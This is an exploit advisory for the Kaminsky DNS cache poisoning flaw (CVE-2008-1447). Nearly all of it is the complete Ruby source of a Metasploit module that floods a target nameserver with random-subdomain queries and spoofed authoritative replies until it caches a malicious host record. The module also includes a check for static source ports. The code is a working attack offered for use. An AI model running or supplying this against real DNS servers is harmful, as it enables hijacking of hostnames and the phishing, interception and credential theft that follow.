[EXPL] Kaminsky DNS Cache Poisoning Flaw (Exploit)

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Kaminsky DNS Cache Poisoning Flaw (Exploit)
------------------------------------------------------------------------


SUMMARY

This exploit targets a fairly ubiquitous flaw in DNS implementations which
allow the insertion of malicious DNS records into the cache of the target
nameserver. This exploit caches a single malicious host entry into the
target nameserver. By causing the target nameserver to query for random
hostnames at the target domain, the attacker can spoof a response to the
target server including an answer for the query, an authority server
record, and an additional record for that server, causing target
nameserver to insert the additional record into the cache.

DETAILS

Exploit:
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

include Exploit::Remote::Ip

def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous
flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul
2008. This exploit caches a single
malicious host entry into the target
nameserver by sending random sub-domain
queries to the target DNS server coupled
with spoofed replies to those
queries from the authoritative nameservers
for the domain which contain a
malicious host entry for the hostname to
be poisoned in the authority and
additional records sections. Eventually,
a guessed ID will match and the
spoofed packet will get accepted, and due
to the additional hostname entry
being within bailiwick constraints of the
original request the malicious host
entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5585 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL',
'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'Privileged' => true,
'Targets' =>
[
["BIND",
{
'Arch' =>
ARCH_X86,
'Platform' =>
'linux',
},
],
],
'DisclosureDate' => 'Jul 21 2008'
))

register_options(
[
OptPort.new('SRCPORT', [true, "The
target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true,
'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true,
'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true,
'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number
of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for
the malicious host entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS server
(RHOST) is vulnerable" }
end

def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end

print_status("Using the Metasploit service to verify
exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)

random = false
ports = []
lport = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt =
"spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt,
Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()


if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and
data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port =
$1.split(':')

print_status(" >> ADDRESS:
#{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport !=
t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end

srv_sock.close

if(ports.length < 5)
print_status("UNKNOWN: This server did not reply
to our vulnerability check requests")
return
end

if(random)
print_status("PASS: This server does not use a
static source port. Ports: #{ports.join(", ")}")
print_status(" This server may still be
exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source
ports and is vulnerable to poisoning")
end
end

def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + '.'
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
ttl = datastore['TTL'].to_i
xidbase = rand(4)+2*10000

domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)

# Get the source port via the metasploit service if it's
not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt =
"spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt,
Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and
data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port =
$1.split(':')
sport = t_port.to_i

print_status("Switching to
target port #{sport} based on Metasploit service")
if target != t_addr

print_status("Warning: target address #{target} is not the same as the
nameserver's query source address #{t_addr}!")
end
end
end
end
end

# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname,
Resolv::DNS::Resource::IN::A)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer =
Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl,
data|
if((name.to_s + ".") ==
hostname and data.address.to_s == address)
t = Time.now + ttl

print_status("Failure: This hostname is already in the target cache:
#{name} == #{address}")
print_status("
Cache entry expires on #{t.to_s}... sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name:
#{e.class} #{e} #{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons],
:dns_search => false, :recursive => true) # reconnaissance resolver

print_status "Targeting nameserver #{target} for injection
of #{hostname} as #{address}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s
nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount}
answers, #{answer0.header.nsCount} authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record:
#{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver
for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the
ns's answer for the hostname
#print_status " Got answer with
#{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an
#{rr1.type} record: #{rr1.inspect}"
res2 =
Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false,
:recursive => false, :retry => 1)
print_status " Checking
Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and
answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name =>
rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status "
#{rr0.nsdname} is authoritative for #{domain}, adding to list of
nameservers to spoof as"
end
end
end
end

if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end

# Flood the target with queries and spoofed responses, one
will eventually hit
queries = 0
responses = 0

connect_ip if not ip_sock

print_status( "Attempting to inject a poison record for
#{hostname} into #{target}:#{sport}...")

while true
randhost = Rex::Text.rand_text_alphanumeric(12) +
'.' + domain # randomize the hostname

# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost,
Resolv::DNS::Resource::IN::A)

req.rd = 1

buff = (
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport =>
(rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers
(barbs[*][:addr])
req.add_answer(randhost, ttl,
Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl,
Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl,
Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1

xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src =>
barbs[i][:addr].to_s,
:src =>
barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport =>
sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end

# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and
#{responses} spoofed responses...")
end

# every so often, check and see if the target is
poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname,
Resolv::DNS::Resource::IN::A)
query.rd = 0

srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer =
Resolv::DNS::Message.decode(answer)
answer.each_answer do
|name, ttl, data|
if((name.to_s +
".") == hostname and data.address.to_s == address)

print_status("Poisoning successful after #{queries} attempts: #{name} ==
#{address}")

disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the
DNS name: #{e.class} #{e} #{e.backtrace}")
end
end

end

end

end
end

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447>
CVE-2008-1447


ADDITIONAL INFORMATION

The information has been provided by <mailto:druid@xxxxxxxxxx> I)ruid.
The original article can be found at:
<http://www.caughq.org/exploits/CAU-EX-2008-0002.txt>
http://www.caughq.org/exploits/CAU-EX-2008-0002.txt



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